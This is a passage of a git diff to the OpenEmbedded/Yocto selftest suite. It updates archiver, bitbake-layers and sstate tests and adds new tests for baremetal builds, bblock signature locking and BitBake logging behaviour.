- if self.tc.custommachine:
- machine_conf = 'MACHINE ??= "%s"\n' % self.tc.custommachine
- self.set_machine_config(machine_conf)
-
# tests might need their own setup
# but if they overwrite this one they have to call
# super each time, so let's give them an alternative
@@ -178,19 +174,11 @@ class OESelftestTestCase(OETestCase):
self.logger.debug("Writing to: %s\n%s\n" % (dest_path, data))
ftools.write_file(dest_path, data)
- if not multiconfig and self.tc.custommachine and 'MACHINE' in data:
- machine = get_bb_var('MACHINE')
- self.logger.warning('MACHINE overridden: %s' % machine)
-
def append_config(self, data):
"""Append to <builddir>/conf/selftest.inc"""
self.logger.debug("Appending to: %s\n%s\n" % (self.testinc_path, data))
ftools.append_file(self.testinc_path, data)
- if self.tc.custommachine and 'MACHINE' in data:
- machine = get_bb_var('MACHINE')
- self.logger.warning('MACHINE overridden: %s' % machine)
-
def remove_config(self, data):
"""Remove data from <builddir>/conf/selftest.inc"""
self.logger.debug("Removing from: %s\n%s\n" % (self.testinc_path, data))
@@ -249,6 +237,13 @@ class OESelftestTestCase(OETestCase):
self.logger.debug("Writing to: %s\n%s\n" % (self.machineinc_path, data))
ftools.write_file(self.machineinc_path, data)
+ def disable_class(self, classname):
+ destfile = "%s/classes/%s.bbclass" % (self.builddir, classname)
+ os.makedirs(os.path.dirname(destfile), exist_ok=True)
+ self.track_for_cleanup(destfile)
+ self.logger.debug("Creating empty class: %s\n" % (destfile))
+ ftools.write_file(destfile, "")
+
# check does path exist
def assertExists(self, expr, msg=None):
if not os.path.exists(expr):
diff --git a/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py b/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py
index f7c356ad09..2c9584d329 100644
--- a/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py
+++ b/meta/lib/oeqa/selftest/cases/_sstatetests_noauto.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -6,8 +8,8 @@ import os
import shutil
import oeqa.utils.ftools as ftools
-from oeqa.utils.commands import runCmd, bitbake, get_bb_var, get_test_layer
-from oeqa.selftest.cases.sstate import SStateBase
+from oeqa.utils.commands import runCmd, bitbake, get_bb_var
+from oeqa.selftest.cases.sstatetests import SStateBase
class RebuildFromSState(SStateBase):
@@ -90,7 +92,7 @@ class RebuildFromSState(SStateBase):
self.assertFalse(failed_cleansstate, msg="The following recipes have failed cleansstate(all others have passed both cleansstate and rebuild from sstate tests): %s" % ' '.join(map(str, failed_cleansstate)))
def test_sstate_relocation(self):
- self.run_test_sstate_rebuild(['core-image-sato-sdk'], relocate=True, rebuild_dependencies=True)
+ self.run_test_sstate_rebuild(['core-image-weston-sdk'], relocate=True, rebuild_dependencies=True)
def test_sstate_rebuild(self):
- self.run_test_sstate_rebuild(['core-image-sato-sdk'], relocate=False, rebuild_dependencies=True)
+ self.run_test_sstate_rebuild(['core-image-weston-sdk'], relocate=False, rebuild_dependencies=True)
diff --git a/meta/lib/oeqa/selftest/cases/archiver.py b/meta/lib/oeqa/selftest/cases/archiver.py
index ddd08ecf84..3cb888c506 100644
--- a/meta/lib/oeqa/selftest/cases/archiver.py
+++ b/meta/lib/oeqa/selftest/cases/archiver.py
@@ -1,9 +1,12 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import os
import glob
+import re
from oeqa.utils.commands import bitbake, get_bb_vars
from oeqa.selftest.case import OESelftestTestCase
@@ -35,11 +38,11 @@ class Archiver(OESelftestTestCase):
src_path = os.path.join(bb_vars['DEPLOY_DIR_SRC'], bb_vars['TARGET_SYS'])
# Check that include_recipe was included
- included_present = len(glob.glob(src_path + '/%s-*' % include_recipe))
+ included_present = len(glob.glob(src_path + '/%s-*/*' % include_recipe))
self.assertTrue(included_present, 'Recipe %s was not included.' % include_recipe)
# Check that exclude_recipe was excluded
- excluded_present = len(glob.glob(src_path + '/%s-*' % exclude_recipe))
+ excluded_present = len(glob.glob(src_path + '/%s-*/*' % exclude_recipe))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % exclude_recipe)
def test_archiver_filters_by_type(self):
@@ -67,11 +70,11 @@ class Archiver(OESelftestTestCase):
src_path_native = os.path.join(bb_vars['DEPLOY_DIR_SRC'], bb_vars['BUILD_SYS'])
# Check that target_recipe was included
- included_present = len(glob.glob(src_path_target + '/%s-*' % target_recipe))
+ included_present = len(glob.glob(src_path_target + '/%s-*/*' % target_recipe))
self.assertTrue(included_present, 'Recipe %s was not included.' % target_recipe)
# Check that native_recipe was excluded
- excluded_present = len(glob.glob(src_path_native + '/%s-*' % native_recipe))
+ excluded_present = len(glob.glob(src_path_native + '/%s-*/*' % native_recipe))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % native_recipe)
def test_archiver_filters_by_type_and_name(self):
@@ -104,20 +107,51 @@ class Archiver(OESelftestTestCase):
src_path_native = os.path.join(bb_vars['DEPLOY_DIR_SRC'], bb_vars['BUILD_SYS'])
# Check that target_recipe[0] and native_recipes[1] were included
- included_present = len(glob.glob(src_path_target + '/%s-*' % target_recipes[0]))
+ included_present = len(glob.glob(src_path_target + '/%s-*/*' % target_recipes[0]))
self.assertTrue(included_present, 'Recipe %s was not included.' % target_recipes[0])
- included_present = len(glob.glob(src_path_native + '/%s-*' % native_recipes[1]))
+ included_present = len(glob.glob(src_path_native + '/%s-*/*' % native_recipes[1]))
self.assertTrue(included_present, 'Recipe %s was not included.' % native_recipes[1])
# Check that native_recipes[0] and target_recipes[1] were excluded
- excluded_present = len(glob.glob(src_path_native + '/%s-*' % native_recipes[0]))
+ excluded_present = len(glob.glob(src_path_native + '/%s-*/*' % native_recipes[0]))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % native_recipes[0])
- excluded_present = len(glob.glob(src_path_target + '/%s-*' % target_recipes[1]))
+ excluded_present = len(glob.glob(src_path_target + '/%s-*/*' % target_recipes[1]))
self.assertFalse(excluded_present, 'Recipe %s was not excluded.' % target_recipes[1])
+ def test_archiver_multiconfig_shared_unpack_and_patch(self):
+ """
+ Test that shared recipes in original mode with diff enabled works in multiconfig,
+ otherwise it will not build when using the same TMP dir.
+ """
+
+ features = 'BBMULTICONFIG = "mc1 mc2"\n'
+ features += 'INHERIT += "archiver"\n'
+ features += 'ARCHIVER_MODE[src] = "original"\n'
+ features += 'ARCHIVER_MODE[diff] = "1"\n'
+ self.write_config(features)
+
+ # We can use any machine in multiconfig as long as they are different
+ self.write_config('MACHINE = "qemuarm"\n', 'mc1')
+ self.write_config('MACHINE = "qemux86"\n', 'mc2')
+
+ task = 'do_unpack_and_patch'
+ # Use gcc-source as it is a shared recipe (appends the pv to the pn)
+ pn = 'gcc-source-%s' % get_bb_vars(['PV'], 'gcc')['PV']
+
+ # Generate the tasks signatures
+ bitbake('mc:mc1:%s mc:mc2:%s -c %s -S lockedsigs' % (pn, pn, task))
+ # Check the tasks signatures
+ # To be machine agnostic the tasks needs to generate the same signature for each machine
+ locked_sigs_inc = "%s/locked-sigs.inc" % self.builddir
+ locked_sigs = open(locked_sigs_inc).read()
+ task_sigs = re.findall(r"%s:%s:.*" % (pn, task), locked_sigs)
+ uniq_sigs = set(task_sigs)
+ self.assertFalse(len(uniq_sigs) - 1, \
+ 'The task "%s" of the recipe "%s" has different signatures in "%s" for each machine in multiconfig' \
+ % (task, pn, locked_sigs_inc))
def test_archiver_srpm_mode(self):
"""
@@ -163,21 +197,21 @@ class Archiver(OESelftestTestCase):
Test that the archiver works with `ARCHIVER_MODE[src] = "patched"`.
"""
- self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-patched.tar.gz')
+ self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-patched.tar.xz')
def test_archiver_mode_configured(self):
"""
Test that the archiver works with `ARCHIVER_MODE[src] = "configured"`.
"""
- self._test_archiver_mode('configured', 'selftest-ed-native-1.14.1-r0-configured.tar.gz')
+ self._test_archiver_mode('configured', 'selftest-ed-native-1.14.1-r0-configured.tar.xz')
def test_archiver_mode_recipe(self):
"""
Test that the archiver works with `ARCHIVER_MODE[recipe] = "1"`.
"""
- self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-recipe.tar.gz',
+ self._test_archiver_mode('patched', 'selftest-ed-native-1.14.1-r0-recipe.tar.xz',
'ARCHIVER_MODE[recipe] = "1"\n')
def test_archiver_mode_diff(self):
diff --git a/meta/lib/oeqa/selftest/cases/baremetal.py b/meta/lib/oeqa/selftest/cases/baremetal.py
new file mode 100644
index 0000000000..cadaea2f1a
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/baremetal.py
@@ -0,0 +1,14 @@
+
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake
+
+class BaremetalTest(OESelftestTestCase):
+ def test_baremetal(self):
+ self.write_config('TCLIBC = "baremetal"')
+ bitbake('baremetal-helloworld')
diff --git a/meta/lib/oeqa/selftest/cases/bblayers.py b/meta/lib/oeqa/selftest/cases/bblayers.py
index f131d9856c..695d17377d 100644
--- a/meta/lib/oeqa/selftest/cases/bblayers.py
+++ b/meta/lib/oeqa/selftest/cases/bblayers.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -6,12 +8,23 @@ import os
import re
import oeqa.utils.ftools as ftools
-from oeqa.utils.commands import runCmd, get_bb_var, get_bb_vars
+from oeqa.utils.commands import runCmd, get_bb_var, get_bb_vars, bitbake
from oeqa.selftest.case import OESelftestTestCase
class BitbakeLayers(OESelftestTestCase):
+ @classmethod
+ def setUpClass(cls):
+ super(BitbakeLayers, cls).setUpClass()
+ bitbake("python3-jsonschema-native")
+ bitbake("-c addto_recipe_sysroot python3-jsonschema-native")
+
+ def test_bitbakelayers_layerindexshowdepends(self):
+ result = runCmd('bitbake-layers layerindex-show-depends meta-poky')
+ find_in_contents = re.search("openembedded-core", result.output)
+ self.assertTrue(find_in_contents, msg = "openembedded-core should have been listed at this step. bitbake-layers layerindex-show-depends meta-poky output: %s" % result.output)
+
def test_bitbakelayers_showcrossdepends(self):
result = runCmd('bitbake-layers show-cross-depends')
self.assertIn('aspell', result.output)
@@ -41,7 +54,7 @@ class BitbakeLayers(OESelftestTestCase):
bb_file = os.path.join(testoutdir, recipe_path, recipe_file)
self.assertTrue(os.path.isfile(bb_file), msg = "Cannot find xcursor-transparent-theme_0.1.1.bb in the test_bitbakelayers_flatten local dir.")
contents = ftools.read_file(bb_file)
- find_in_contents = re.search("##### bbappended from meta-selftest #####\n(.*\n)*include test_recipe.inc", contents)
+ find_in_contents = re.search(r"##### bbappended from meta-selftest #####\n(.*\n)*include test_recipe.inc", contents)
self.assertTrue(find_in_contents, msg = "Flattening layers did not work. bitbake-layers flatten output: %s" % result.output)
def test_bitbakelayers_add_remove(self):
@@ -72,8 +85,9 @@ class BitbakeLayers(OESelftestTestCase):
result = runCmd('bitbake-layers show-recipes -i image')
self.assertIn('core-image-minimal', result.output)
self.assertNotIn('mtd-utils:', result.output)
- result = runCmd('bitbake-layers show-recipes -i cmake,pkgconfig')
+ result = runCmd('bitbake-layers show-recipes -i meson,pkgconfig')
self.assertIn('libproxy:', result.output)
+ result = runCmd('bitbake-layers show-recipes -i cmake,pkgconfig')
self.assertNotIn('mtd-utils:', result.output) # doesn't inherit either
self.assertNotIn('wget:', result.output) # doesn't inherit cmake
self.assertNotIn('waffle:', result.output) # doesn't inherit pkgconfig
@@ -106,6 +120,11 @@ class BitbakeLayers(OESelftestTestCase):
self.assertEqual(bb_vars['BBFILE_PRIORITY_%s' % layername], str(priority), 'BBFILE_PRIORITY_%s != %d' % (layername, priority))
+ result = runCmd('bitbake-layers save-build-conf {} {}'.format(layerpath, "buildconf-1"))
+ for f in ('local.conf.sample', 'bblayers.conf.sample', 'conf-summary.txt', 'conf-notes.txt'):
+ fullpath = os.path.join(layerpath, "conf", "templates", "buildconf-1", f)
+ self.assertTrue(os.path.exists(fullpath), "Template configuration file {} not found".format(fullpath))
+
def get_recipe_basename(self, recipe):
recipe_file = ""
result = runCmd("bitbake-layers show-recipes -f %s" % recipe)
@@ -116,3 +135,108 @@ class BitbakeLayers(OESelftestTestCase):
self.assertTrue(os.path.isfile(recipe_file), msg = "Can't find recipe file for %s" % recipe)
return os.path.basename(recipe_file)
+
+ def validate_layersjson(self, json):
+ python = os.path.join(get_bb_var('STAGING_BINDIR', 'python3-jsonschema-native'), 'nativepython3')
+ jsonvalidator = os.path.join(get_bb_var('STAGING_BINDIR', 'python3-jsonschema-native'), 'jsonschema')
+ jsonschema = os.path.join(get_bb_var('COREBASE'), 'meta/files/layers.schema.json')
+ result = runCmd("{} {} -i {} {}".format(python, jsonvalidator, json, jsonschema))
+
+ def test_validate_examplelayersjson(self):
+ json = os.path.join(get_bb_var('COREBASE'), "meta/files/layers.example.json")
+ self.validate_layersjson(json)
+
+ def test_bitbakelayers_setup(self):
+ result = runCmd('bitbake-layers create-layers-setup {}'.format(self.testlayer_path))
+ jsonfile = os.path.join(self.testlayer_path, "setup-layers.json")
+ self.validate_layersjson(jsonfile)
+
+ # The revision-under-test may not necessarily be available on the remote server,
+ # so replace it with a revision that has a yocto-4.1 tag.
+ import json
+ with open(jsonfile) as f:
+ data = json.load(f)
+ for s in data['sources']:
+ data['sources'][s]['git-remote']['rev'] = '5200799866b92259e855051112520006e1aaaac0'
+ with open(jsonfile, 'w') as f:
+ json.dump(data, f)
+
+ testcheckoutdir = os.path.join(self.builddir, 'test-layer-checkout')
+ result = runCmd('{}/setup-layers --destdir {}'.format(self.testlayer_path, testcheckoutdir))
+ layers_json = os.path.join(testcheckoutdir, ".oe-layers.json")
+ self.assertTrue(os.path.exists(layers_json), "File {} not found in test layer checkout".format(layers_json))
+
+ # As setup-layers checkout out an old revision of poky, there is no setup-build symlink,
+ # and we need to run oe-setup-build directly from the current poky tree under test
+ oe_setup_build = os.path.join(get_bb_var('COREBASE'), 'scripts/oe-setup-build')
+ oe_setup_build_l = os.path.join(testcheckoutdir, 'setup-build')
+ os.symlink(oe_setup_build,oe_setup_build_l)
+
+ cmd = '{} --layerlist {} list -v'.format(oe_setup_build_l, layers_json)
+ result = runCmd(cmd)
+ cond = "conf/templates/default" in result.output
+ self.assertTrue(cond, "Incorrect output from {}: {}".format(cmd, result.output))
+
+ # rather than hardcode the build setup cmdline here, let's actually run what the tool suggests to the user
+ conf = None
+ if 'poky-default' in result.output:
+ conf = 'poky-default'
+ elif 'meta-default' in result.output:
+ conf = 'meta-default'
+ self.assertIsNotNone(conf, "Could not find the configuration to set up a build in the output: {}".format(result.output))
+
+ cmd = '{} --layerlist {} setup -c {} --no-shell'.format(oe_setup_build_l, layers_json, conf)
+ result = runCmd(cmd)
+
+ def test_bitbakelayers_updatelayer(self):
+ result = runCmd('bitbake-layers create-layers-setup {}'.format(self.testlayer_path))
+ jsonfile = os.path.join(self.testlayer_path, "setup-layers.json")
+ self.validate_layersjson(jsonfile)
+
+ import json
+ with open(jsonfile) as f:
+ data = json.load(f)
+ repos = []
+ for s in data['sources']:
+ repos.append(s)
+
+ self.assertTrue(len(repos) > 1, "Not enough repositories available")
+ self.validate_layersjson(jsonfile)
+
+ test_ref_1 = 'ref_1'
+ test_ref_2 = 'ref_2'
+
+ # Create a new layers setup using custom references
+ result = runCmd('bitbake-layers create-layers-setup --use-custom-reference {first_repo}:{test_ref} --use-custom-reference {second_repo}:{test_ref} {path}'
+ .format(first_repo=repos[0], second_repo=repos[1], test_ref=test_ref_1, path=self.testlayer_path))
+ self.validate_layersjson(jsonfile)
+
+ with open(jsonfile) as f:
+ data = json.load(f)
+ first_rev_1 = data['sources'][repos[0]]['git-remote']['rev']
+ first_desc_1 = data['sources'][repos[0]]['git-remote']['describe']
+ second_rev_1 = data['sources'][repos[1]]['git-remote']['rev']
+ second_desc_1 = data['sources'][repos[1]]['git-remote']['describe']
+
+ self.assertEqual(first_rev_1, test_ref_1, "Revision not set correctly: '{}'".format(first_rev_1))
+ self.assertEqual(first_desc_1, '', "Describe not cleared: '{}'".format(first_desc_1))
+ self.assertEqual(second_rev_1, test_ref_1, "Revision not set correctly: '{}'".format(second_rev_1))
+ self.assertEqual(second_desc_1, '', "Describe not cleared: '{}'".format(second_desc_1))
+
+ # Update one of the repositories in the layers setup using a different custom reference
+ # This should only update the selected repository, everything else should remain as is
+ result = runCmd('bitbake-layers create-layers-setup --update --use-custom-reference {first_repo}:{test_ref} {path}'
+ .format(first_repo=repos[0], test_ref=test_ref_2, path=self.testlayer_path))
+ self.validate_layersjson(jsonfile)
+
+ with open(jsonfile) as f:
+ data = json.load(f)
+ first_rev_2 = data['sources'][repos[0]]['git-remote']['rev']
+ first_desc_2 = data['sources'][repos[0]]['git-remote']['describe']
+ second_rev_2 = data['sources'][repos[1]]['git-remote']['rev']
+ second_desc_2 = data['sources'][repos[1]]['git-remote']['describe']
+
+ self.assertEqual(first_rev_2, test_ref_2, "Revision not set correctly: '{}'".format(first_rev_2))
+ self.assertEqual(first_desc_2, '', "Describe not cleared: '{}'".format(first_desc_2))
+ self.assertEqual(second_rev_2, second_rev_1, "Revision should not be updated: '{}'".format(second_rev_2))
+ self.assertEqual(second_desc_2, second_desc_1, "Describe should not be updated: '{}'".format(second_desc_2))
diff --git a/meta/lib/oeqa/selftest/cases/bblock.py b/meta/lib/oeqa/selftest/cases/bblock.py
new file mode 100644
index 0000000000..2b62d2a0aa
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/bblock.py
@@ -0,0 +1,203 @@
+#
+# Copyright (c) 2023 BayLibre, SAS
+# Author: Julien Stepahn <jstephan@baylibre.com>
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import os
+import re
+import bb.tinfoil
+
+import oeqa.utils.ftools as ftools
+from oeqa.utils.commands import runCmd, get_bb_var, get_bb_vars, bitbake
+
+from oeqa.selftest.case import OESelftestTestCase
+
+
+class BBLock(OESelftestTestCase):
+ @classmethod
+ def setUpClass(cls):
+ super(BBLock, cls).setUpClass()
+ cls.lockfile = cls.builddir + "/conf/bblock.conf"
+
+ def unlock_recipes(self, recipes=None, tasks=None):
+ cmd = "bblock -r "
+ if recipes:
+ cmd += " ".join(recipes)
+ if tasks:
+ cmd += " -t " + ",".join(tasks)
+ result = runCmd(cmd)
+
+ if recipes:
+ # ensure all signatures are removed from lockfile
+ contents = ftools.read_file(self.lockfile)
+ for recipe in recipes:
+ for task in tasks:
+ find_in_contents = re.search(
+ 'SIGGEN_LOCKEDSIGS_.+\s\+=\s"%s:%s:.*"' % (recipe, task),
+ contents,
+ )
+ self.assertFalse(
+ find_in_contents,
+ msg="%s:%s should not be present into bblock.conf anymore"
+ % (recipe, task),
+ )
+ self.assertExists(self.lockfile)
+ else:
+ self.assertNotExists(self.lockfile)
+
+ def lock_recipes(self, recipes, tasks=None):
+ cmd = "bblock " + " ".join(recipes)
+ if tasks:
+ cmd += " -t " + ",".join(tasks)
+
+ result = runCmd(cmd)
+
+ self.assertExists(self.lockfile)
+
+ # ensure all signatures are added to lockfile
+ contents = ftools.read_file(self.lockfile)
+ for recipe in recipes:
+ if tasks:
+ for task in tasks:
+ find_in_contents = re.search(
+ 'SIGGEN_LOCKEDSIGS_.+\s\+=\s"%s:%s:.*"' % (recipe, task),
+ contents,
+ )
+ self.assertTrue(
+ find_in_contents,
+ msg="%s:%s was not added into bblock.conf. bblock output: %s"
+ % (recipe, task, result.output),
+ )
+
+ def modify_tasks(self, recipes, tasks):
+ task_append = ""
+ for recipe in recipes:
+ bb_vars = get_bb_vars(["PV"], recipe)
+ recipe_pv = bb_vars["PV"]
+ recipe_append_file = recipe + "_" + recipe_pv + ".bbappend"
+
+ os.mkdir(os.path.join(self.testlayer_path, "recipes-test", recipe))
+ recipe_append_path = os.path.join(
+ self.testlayer_path, "recipes-test", recipe, recipe_append_file
+ )
+
+ for task in tasks:
+ task_append += "%s:append() {\n#modify task hash \n}\n" % task
+ ftools.write_file(recipe_append_path, task_append)
+ self.add_command_to_tearDown(
+ "rm -rf %s" % os.path.join(self.testlayer_path, "recipes-test", recipe)
+ )
+
+ def test_lock_single_recipe_single_task(self):
+ recipes = ["quilt"]
+ tasks = ["do_compile"]
+ self._run_test(recipes, tasks)
+
+ def test_lock_single_recipe_multiple_tasks(self):
+ recipes = ["quilt"]
+ tasks = ["do_compile", "do_install"]
+ self._run_test(recipes, tasks)
+
+ def test_lock_single_recipe_all_tasks(self):
+ recipes = ["quilt"]
+ self._run_test(recipes, None)
+
+ def test_lock_multiple_recipe_single_task(self):
+ recipes = ["quilt", "bc"]
+ tasks = ["do_compile"]
+ self._run_test(recipes, tasks)
+
+ def test_lock_architecture_specific(self):
+ # unlock all recipes and ensure no bblock.conf file exist
+ self.unlock_recipes()
+
+ recipes = ["quilt"]
+ tasks = ["do_compile"]
+
+ # lock quilt's do_compile task for another machine
+ if self.td["MACHINE"] == "qemux86-64":
+ machine = "qemuarm"
+ else:
+ machine = "qemux86-64"
+
+ self.write_config('MACHINE = "%s"\n' % machine)
+
+ self.lock_recipes(recipes, tasks)
+
+ self.write_config('MACHINE = "%s"\n' % self.td["MACHINE"])
+ # modify quilt's do_compile task
+ self.modify_tasks(recipes, tasks)
+
+ # build quilt using the default machine
+ # No Note/Warning should be emitted since sig is locked for another machine
+ # (quilt package is architecture dependant)
+ info_message = "NOTE: The following recipes have locked tasks: " + recipes[0]
+ warn_message = "The %s:%s sig is computed to be" % (recipes[0], tasks[0])
+ result = bitbake(recipes[0] + " -n")
+ self.assertNotIn(info_message, result.output)
+ self.assertNotIn(warn_message, result.output)
+
+ # unlock all recipes
+ self.unlock_recipes()
+
+ def _run_test(self, recipes, tasks=None):
+ # unlock all recipes and ensure no bblock.conf file exist
+ self.unlock_recipes()
+
+ self.write_config('BB_SIGNATURE_HANDLER = "OEBasicHash"')
+
+ # lock tasks for recipes
+ result = self.lock_recipes(recipes, tasks)
+
+ if not tasks:
+ tasks = []
+ result = bitbake("-c listtasks " + recipes[0])
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=False, quiet=2)
+ d = tinfoil.parse_recipe(recipes[0])
+
+ for line in result.output.splitlines():
+ if line.startswith("do_"):
+ task = line.split()[0]
+ if "setscene" in task:
+ continue
+ if d.getVarFlag(task, "nostamp"):
+ continue
+ tasks.append(task)
+
+ # build recipes. At this stage we should have a Note about recipes
+ # having locked task's sig, but no warning since sig still match
+ info_message = "NOTE: The following recipes have locked tasks: " + " ".join(
+ recipes
+ )
+ for recipe in recipes:
+ result = bitbake(recipe + " -n")
+ self.assertIn(info_message, result.output)
+ for task in tasks:
+ warn_message = "The %s:%s sig is computed to be" % (recipe, task)
+ self.assertNotIn(warn_message, result.output)
+
+ # modify all tasks that are locked to trigger a sig change then build the recipes
+ # at this stage we should have a Note as before, but also a Warning for all
+ # locked tasks indicating the sig mismatch
+ self.modify_tasks(recipes, tasks)
+ for recipe in recipes:
+ result = bitbake(recipe + " -n")
+ self.assertIn(info_message, result.output)
+ for task in tasks:
+ warn_message = "The %s:%s sig is computed to be" % (recipe, task)
+ self.assertIn(warn_message, result.output)
+
+ # unlock all tasks and rebuild, no more Note/Warning should remain
+ self.unlock_recipes(recipes, tasks)
+ for recipe in recipes:
+ result = bitbake(recipe + " -n")
+ self.assertNotIn(info_message, result.output)
+ for task in tasks:
+ warn_message = "The %s:%s sig is computed to be" % (recipe, task)
+ self.assertNotIn(warn_message, result.output)
+
+ # unlock all recipes
+ self.unlock_recipes()
diff --git a/meta/lib/oeqa/selftest/cases/bblogging.py b/meta/lib/oeqa/selftest/cases/bblogging.py
new file mode 100644
index 0000000000..040c6db089
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/bblogging.py
@@ -0,0 +1,182 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake
+
+class BitBakeLogging(OESelftestTestCase):
+
+ def assertCount(self, item, entry, count):
+ self.assertEqual(item.count(entry), count, msg="Output:\n'''\n%s\n'''\ndoesn't contain %d copies of:\n'''\n%s\n'''\n" % (item, count, entry))
+
+ def test_shell_loggingA(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c shelltest -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is shell stdout", result.output)
+ self.assertNotIn("This is shell stderr", result.output)
+
+ def test_shell_loggingB(self):
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c shelltest -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertCount(result.output, "This is shell stdout", 1)
+ self.assertCount(result.output, "This is shell stderr", 1)
+
+ def test_shell_loggingC(self):
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c shelltest -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # two copies due to set +x
+ self.assertCount(result.output, "This is shell stdout", 2)
+ self.assertCount(result.output, "This is shell stderr", 2)
+
+ def test_shell_loggingD(self):
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c shelltest -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # two copies due to set +x
+ self.assertCount(result.output, "This is shell stdout", 2)
+ self.assertCount(result.output, "This is shell stderr", 2)
+
+ def test_python_exec_func_shell_loggingA(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exec_func_shell -f",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is shell stdout", result.output)
+ self.assertNotIn("This is shell stderr", result.output)
+
+ def test_python_exec_func_shell_loggingB(self):
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exec_func_shell -f",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertCount(result.output, "This is shell stdout", 1)
+ self.assertCount(result.output, "This is shell stderr", 1)
+
+ def test_python_exec_func_shell_loggingC(self):
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exec_func_shell -f -v",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # two copies due to set +x
+ self.assertCount(result.output, "This is shell stdout", 2)
+ self.assertCount(result.output, "This is shell stderr", 2)
+
+ def test_python_exec_func_shell_loggingD(self):
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exec_func_shell -f -v",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # two copies due to set +x
+ self.assertCount(result.output, "This is shell stdout", 2)
+ self.assertCount(result.output, "This is shell stderr", 2)
+
+ def test_python_exit_loggingA(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exit -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is python stdout", result.output)
+
+ def test_python_exit_loggingB(self):
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exit -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # A sys.exit() should include the output
+ self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_exit_loggingC(self):
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exit -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_exit_loggingD(self):
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exit -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_exec_func_python_loggingA(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exec_func_python -f",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is python stdout", result.output)
+
+ def test_python_exec_func_python_loggingB(self):
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exec_func_python -f",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # A sys.exit() should include the output
+ self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_exec_func_python_loggingC(self):
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exec_func_python -f -v",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_exec_func_python_loggingD(self):
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exec_func_python -f -v",
+ ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertCount(result.output, "This is python stdout", 1)
+
